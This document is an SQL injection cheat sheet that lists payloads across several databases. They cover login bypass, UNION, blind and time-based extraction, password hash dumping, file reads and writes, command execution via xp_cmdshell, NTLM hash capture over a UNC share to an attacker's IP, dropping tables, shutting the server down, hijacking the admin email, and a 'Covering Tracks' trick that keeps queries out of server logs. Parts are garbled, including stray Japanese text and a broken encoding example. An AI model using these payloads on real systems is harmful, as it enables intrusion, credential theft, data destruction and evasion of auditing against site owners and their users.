    Ends a query and starts a new one. Language / Database Stacked Query Support Table green: supported, dark gray: not supported, light gray: unknown

    SQL Server MySQL PostgreSQL ORACLE MS Access
    ASP




    ASP.NET




    PHP




    Java




    About MySQL and PHP;
    To clarify some issues;
    PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it’s not possible to execute second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify? Stacked SQL Injection Attack Samples
    • ID: 10;DROP members --
    • SELECT * FROM products WHERE id = 10; DROP members--
    This will run DROP members SQL sentence after normal SQL Query.

    If Statements

    Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately. MySQL If Statement
    • IF(condition,true-part,false-part) (M)
      SELECT IF(1=1,'true','false')
    SQL Server If Statement
    • IF condition true-part ELSE false-part (S)
      IF (1=1) SELECT 'true' ELSE SELECT 'false'
    If Statement SQL Injection Attack Samples if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
    This will throw an divide by zero error if current logged user is not "sa" or "dbo".

    Using Integers

    Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.
    • 0xHEXNUMBER (SM)
      You can write hex like these;

      SELECT CHAR(0x66) (S)
      SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)
      SELECT 0x50 + 0x45 (this is integer now!) (M)

    String Operations

    String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database. String Concatenation
    • + (S)
      SELECT login + '-' + password FROM members

    • || (*MO)
      SELECT login || '-' || password FROM members
    *About MySQL "||";
    If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as `logical operator` it’ll return 0. Better way to do it is using CONCAT() function in MySQL.
    • CONCAT(str1, str2, str3, ...) (M)
      Concatenate supplied strings.
      SELECT CONCAT(login, password) FROM members

    Strings without Quotes

    These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.
    • 0x457578 (M) - Hex Representation of string
      SELECT 0x457578
      This will be selected as string in MySQL.

      In MySQL easy way to generate hex representations of strings use this;
      SELECT CONCAT('0x',HEX('c:\\boot.ini'))

    • Using CONCAT() in MySQL
      SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
      This will return ‘KLM’.

    • SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
      This will return ‘KLM’.
    Hex based SQL Injection Samples
    • SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
      This will show the content of c:\boot.ini

    String Modification & Related

    • ASCII() (SMP)
      Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.

      SELECT ASCII('a')

    • CHAR() (SM)
      Convert an integer of ASCII.

      SELECT CHAR(64)

    Union Injections

    With union you do SQL queries cross-table. Basically you can poison query to return records from another table. SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
    This will combine results from both news table and members table and return all of them. Another Example :
    ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

    UNION – Fixing Language Issues

    While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.
    • SQL Server (S)
      Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server documentation.

      SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members

    • MySQL (M)
      Hex() for every possible issue

    Bypassing Login Screens (SMO+)

    SQL Injection 101, Login tricks
    • admin' --
    • admin' #
    • admin'/*
    • ' or 1=1--
    • ' or 1=1#
    • ' or 1=1/*
    • ') or '1'='1--
    • ') or ('1'='1--
    • ....
    • Login as different user (SM*)
      ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
    *Old versions of MySQL doesn't support union queries

    Bypassing second MD5 hash check login screens

    If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database. Bypassing MD5 Hash Check Example (MSP) Username : admin
    Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055 81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

    Error Based - Find Columns Names

    Finding Column Names with HAVING BY - Error Based (S) In the same order,
    • ' HAVING 1=1 --
    • ' GROUP BY table.columnfromerror1 HAVING 1=1 --
    • ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
    • ' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and so on
    • If you are not getting any more error then it's done.
    Finding how many columns in SELECT query by ORDER BY (MSO+) Finding column number by ORDER BY can speed up the UNION SQL Injection process.
    • ORDER BY 1--
    • ORDER BY 2--
    • ORDER BY N-- so on
    • Keep going until get an error. Error means you found the number of selected columns.

    Data types, UNION, etc.

    Hints,
    • Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.
    • To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
    • Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
      • Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)
    Finding Column Type
    • ' union select sum(columntofind) from users-- (S)
      Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
      [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.

      If you are not getting error it means column is numeric.

    • Also you can use CAST() or CONVERT()
      • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--

    • 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
      No Error - Syntax is right. MS SQL Server Used. Proceeding.

    • 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
      No Error – First column is an integer.

    • 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
      Error! – Second column is not an integer.

    • 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
      No Error – Second column is a string.

    • 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
      Error! – Third column is not an integer. ...

      Microsoft OLE DB Provider for SQL Server error '80040e07'
      Explicit conversion from data type int to image is not allowed.
    You’ll get convert() errors before union target errors ! So start with convert() then union

    Simple Insert (MSO+)

    '; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*

    Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

    @@version (MS)
    Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also you can use insert, update statements or in functions. INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10) Bulk Insert (S) Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file (%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.
      1. Create table foo( line varchar(8000) )
      2. bulk insert foo from 'c:\inetpub\wwwroot\login.asp'
      3. Drop temp table, and repeat for another file.
    BCP (S) Write text file. Login Credentials are required to use this function.
    bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar VBS, WSH in SQL Server (S) You can use VBS, WSH scripting in SQL Server because of ActiveX support. declare @o int
    exec sp_oacreate 'wscript.shell', @o out
    exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
    Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --
    Executing system commands, xp_cmdshell (S) Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access. EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
    Simple ping check (configure your firewall or sniffer to identify request before launch it), EXEC master.dbo.xp_cmdshell 'ping ' You can not read results directly from error or union or something else. Some Special Tables in SQL Server (S)
    • Error Messages
      master..sysmessages

    • Linked Servers
      master..sysservers

    • Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )
      SQL Server 2000: masters..sysxlogins
      SQL Server 2005 : sys.sql_logins
    More Stored Procedures for SQL Server (S)
    1. Cmd Execute (xp_cmdshell)
      exec master..xp_cmdshell 'dir'

    2. Registry Stuff (xp_regread)
      1. xp_regaddmultistring
      2. xp_regdeletekey
      3. xp_regdeletevalue
      4. xp_regenumkeys
      5. xp_regenumvalues
      6. xp_regread
      7. xp_regremovemultistring
      8. xp_regwrite
        exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
        exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'

    3. Managing Services (xp_servicecontrol)
    4. Medias (xp_availablemedia)
    5. ODBC Resources (xp_enumdsn)
    6. Login mode (xp_loginconfig)
    7. Creating Cab Files (xp_makecab)
    8. Domain Enumeration (xp_ntsec_enumdomains)
    9. Process Killing (need PID) (xp_terminate_process)
    10. Add new procedure (virtually you can execute whatever you want)
      sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
      exec xp_webserver
    11. Write text file to a UNC or an internal path (sp_makewebtask)
    MSSQL Bulk Notes SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/ DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0 HOST_NAME()
    IS_MEMBER (Transact-SQL)
    IS_SRVROLEMEMBER (Transact-SQL)
    OPENDATASOURCE (Transact-SQL) INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG" OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx You can not use sub selects in SQL Server Insert queries. SQL Injection in LIMIT (M) or ORDER (MSO) SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ; If injection is in second limit you can comment it out or use in your union injection Shutdown SQL Server (S) When you really pissed off, ';shutdown --

    Enabling xp_cmdshell in SQL Server 2005

    By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these. EXEC sp_configure 'show advanced options',1
    RECONFIGURE EXEC sp_configure 'xp_cmdshell',1
    RECONFIGURE

    Finding Database Structure in SQL Server (S)

    Getting User defined Tables SELECT name FROM sysobjects WHERE xtype = 'U' Getting Column Names SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')

    Moving records (S)

    • Modify WHERE and use NOT IN or NOT EXIST,
      ... WHERE users NOT IN ('First User', 'Second User')
      SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) -- very good one

    • Using Dirty Tricks
      SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

    Fast way to extract data from Error Based SQL Injections in SQL Server (S)

    ';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

    Blind SQL Injections

    About Blind SQL Injections

    In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections. Normal Blind, You can not see a response in the page but you can still determine result of a query from response or HTTP status code
    Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common though. In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY '0:0:10' in SQL Server, BENCHMARK() in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE. Real and a bit Complex Blind SQL Injection Attack Sample This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm. TRUE and FALSE flags mark queries returned true or false. TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--

    FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--

    TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<103-->

    FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--

    TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<89--

    FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--

    TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<83-->

    FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--

    FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<80-->

    Waiting For Blind SQL Injections

    First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout. WAIT FOR DELAY 'time' (S) This is just like sleep, wait for spesified time. CPU safe way to make database wait. WAITFOR DELAY '0:0:10'-- Also you can use fractions like this, WAITFOR DELAY '0:0:0.51' Real World Samples
    • Are we 'sa' ?
      if (select user) = 'sa' waitfor delay '0:0:10'
    • ProductID = 1;waitfor delay '0:0:10'--
    • ProductID =1);waitfor delay '0:0:10'--
    • ProductID =1';waitfor delay '0:0:10'--
    • ProductID =1');waitfor delay '0:0:10'--
    • ProductID =1));waitfor delay '0:0:10'--
    • ProductID =1'));waitfor delay '0:0:10'--
    BENCHMARK() (M) Basically we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast! BENCHMARK(howmanytimes, do this) Real World Samples
    • Are we root ? woot!
      IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))

    • Check Table exist in MySQL
      IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
    pg_sleep(seconds) (P) Sleep for supplied seconds.
    • SELECT pg_sleep(10);
      Sleep 10 seconds.

    Covering Tracks

    SQL Server -sp_password log bypass (S) SQL Server don't log queries which includes sp_password for security reasons(!). So if you add --sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible)

    Clear SQL Injection Tests

    These tests are simply good for blind sql injection and silent attacks.
    1. product.asp?id=4 (SMO)
      1. product.asp?id=5-1
      2. product.asp?id=4 OR 1=1

    2. product.asp?name=Book
      1. product.asp?name=Bo’%2b’ok
      2. product.asp?name=Bo’ || ’ok (OM)
      3. product.asp?name=Book’ OR ‘x’=’x

    Some Extra MySQL Notes

    • Sub Queries are working only MySQL 4.1+
    • Users
      • SELECT User,Password FROM mysql.user;
    • SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;
    • SELECT ... INTO DUMPFILE
      • Write query into a new file (can not modify existing files)
    • UDF Function
      • create function LockWorkStation returns integer soname 'user32';
      • select LockWorkStation();
      • create function ExitProcess returns integer soname 'kernel32';
      • select exitprocess();
    • SELECT USER();
    • SELECT password,USER() FROM mysql.user;
    • First byte of admin hash
      • SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
    • Read File
      • query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
    • MySQL Load Data inifile
      • By default it’s not avaliable !
        • create table foo( line blob );
          load data infile 'c:/boot.ini' into table foo;
          select * from foo;
    • More Timing in MySQL
    • select benchmark( 500000, sha1( 'test' ) );
    • query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
    • select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
      Enumeration data, Guessed Brute Force
      • select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );
    Potentially Useful MySQL Functions
    • MD5()
      MD5 Hashing
    • SHA1()
      SHA1 Hashing

    • PASSWORD()
    • ENCODE()
    • COMPRESS()
      Compress data, can be great in large binary reading in Blind SQL Injections.
    • ROW_COUNT()
    • SCHEMA()
    • VERSION()
      Same as @@version

    Second Order SQL Injections

    Basically you put an SQL Injection to some place and expect it's unfiltered in another action. This is common hidden layer problem. Name : ' + (SELECT TOP 1 password FROM users ) + '
    Email : xx@xx.com If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.

    Forcing SQL Server to get NTLM Hashes

    This attack can help you to get SQL Server user's Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel. Bulk insert from a UNC Share (S)
    bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'
    Basics.

    SELECT * FROM login /* foobar */
    SELECT * FROM login WHERE id = 1 or 1=1
    SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%"
    Variations.

    SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1
    SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 A/**/ND user L/**/IKE "%root%"

    SHOW TABLES
    SELECT * FROM login WHERE id = 1 or 1=1; SHOW TABLES
    SELECT VERSION
    SELECT * FROM login WHERE id = 1 or 1=1; SELECT VERSION()
    SELECT host,user,db from mysql.db
    SELECT * FROM login WHERE id = 1 or 1=1; select host,user,db from mysql.db;
    Blind injection vectors.
    Operators

    SELECT 1 && 1;
    SELECT 1 || 1;
    SELECT 1 XOR 0;
    Evaluate

    all render TRUE or 1.
    SELECT 0.1 <= 2; SELECT 2 >= 2;
    SELECT ISNULL(1/0);
    Math

    SELECT FLOOR(7 + (RAND() * 5));
    SELECT ROUND(23.298, -1);
    Misc

    SELECT LENGTH(COMPRESS(REPEAT('a',1000)));
    SELECT MD5('abc');
    Benchmark

    SELECT BENCHMARK(10000000,ENCODE('abc','123'));
    this takes around 5 sec on a localhost

    SELECT BENCHMARK(1000000,MD5(CHAR(116)))
    this takes around 7 sec on a localhost

    SELECT BENCHMARK(10000000,MD5(CHAR(116)))
    this takes around 70 sec on a localhost
    Using the timeout to check if user exists

    SELECT IF( user = 'root', BENCHMARK(1000000,MD5( 'x' )),NULL) FROM login

    Beware of of the N rounds, add an extra zero and it could stall or crash your
    browser!
    Gathering info
    Table mapping

    SELECT COUNT(*) FROM tablename
    Field mapping

    SELECT * FROM tablename WHERE user LIKE "%root%"
    SELECT * FROM tablename WHERE user LIKE "%"
    SELECT * FROM tablename WHERE user = 'root' AND id IS NOT NULL;
    SELECT * FROM tablename WHERE user = 'x' AND id IS NULL;
    User mapping

    SELECT * FROM tablename WHERE email = 'user@site.com';
    SELECT * FROM tablename WHERE user LIKE "%root%"
    SELECT * FROM tablename WHERE user = 'username'
    Advanced SQL vectors
    Writing info into files

    SELECT password FROM tablename WHERE username = 'root' INTO OUTFILE
    '/path/location/on/server/www/passes.txt'
    Writing info into files without single quotes: (example)

    SELECT password FROM tablename WHERE username =
    CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39)) INTO
    OUTFILE CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR(
    39))

    Note: You must specify a new file, it may not exist! and give the correct
    pathname!
    The CHAR() quoteless function

    SELECT * FROM login WHERE user =
    CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))

    SELECT * FROM login WHERE user = CHAR(39,97,39)
    Extracting hashes

    SELECT user FROM login WHERE user = 'root'
    UNION SELECT IF(SUBSTRING(pass,1,1) = CHAR(97),
    BENCHMARK(1000000,MD5('x')),null) FROM login
    example:

    SELECT user FROM login WHERE user = 'admin'
    UNION SELECT IF(SUBSTRING(passwordfield,1,1) = CHAR(97),
    BENCHMARK(1000000,MD5('x')),null) FROM login

    SELECT user FROM login WHERE user = 'admin'
    UNION SELECT IF(SUBSTRING(passwordfield,1,2) = CHAR(97,97),
    BENCHMARK(1000000,MD5('x')),null) FROM login
    explaining: (passwordfield,startcharacter,selectlength)

    is like: (password,1,2) this selects: ‘ab’
    is like: (password,1,3) this selects: ‘abc’
    is like: (password,1,4) this selects: ‘abcd’

    A quoteless example:

    SELECT user FROM login WHERE user =
    CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))
    UNION SELECT IF(SUBSTRING(pass,1,2) = CHAR(97,97),
    BENCHMARK(1000000,MD5(CHAR(59))),null) FROM login

    Possible chars: 0 to 9 - ASCII 48 to 57 ~ a to z - ASCII 97 to 122
    Misc
    Insert a new user into DB

    INSERT INTO login SET user = 'r00t', pass = 'abc'
    Retrieve /etc/passwd file, put it into a field and insert a new user

    load data infile "/etc/passwd" INTO table login (profiletext, @var1) SET user =
    'r00t', pass = 'abc'

    Then login!
    Write the DB user away into tmp

    SELECT host,user,password FROM user into outfile '/tmp/passwd';
    Change admin e-mail, for “forgot login retrieval.”

    UPDATE users set email = 'mymail@site.com' WHERE email = 'admin@site.com';
    Bypassing PHP functions

    (MySQL 4.1.x before 4.1.20 and 5.0.x)
    Bypassing addslashes() with GBK encoding

    WHERE x = 0xbf27admin 0xbf27
    Bypassing mysql_real_escape_string() with BIG5 or GBK

    "injection string"
    に関する追加情報:

    the above chars are Chinese Big5
    Advanced Vectors
    Using an HEX encoded query to bypass escaping.
    Normal:

    SELECT * FROM login WHERE user = 'root'
    Bypass:

    SELECT * FROM login WHERE user = 0x726F6F74
    Inserting a new user in SQL.
    Normal:

    insert into login set user = ‘root’, pass = ‘root’
    Bypass:

    insert into login set user = 0×726F6F74, pass = 0×726F6F74
    How to determin the HEX value for injection.

    SELECT HEX('root');
    gives you:

    726F6F74
    then add:

    0x
    before it.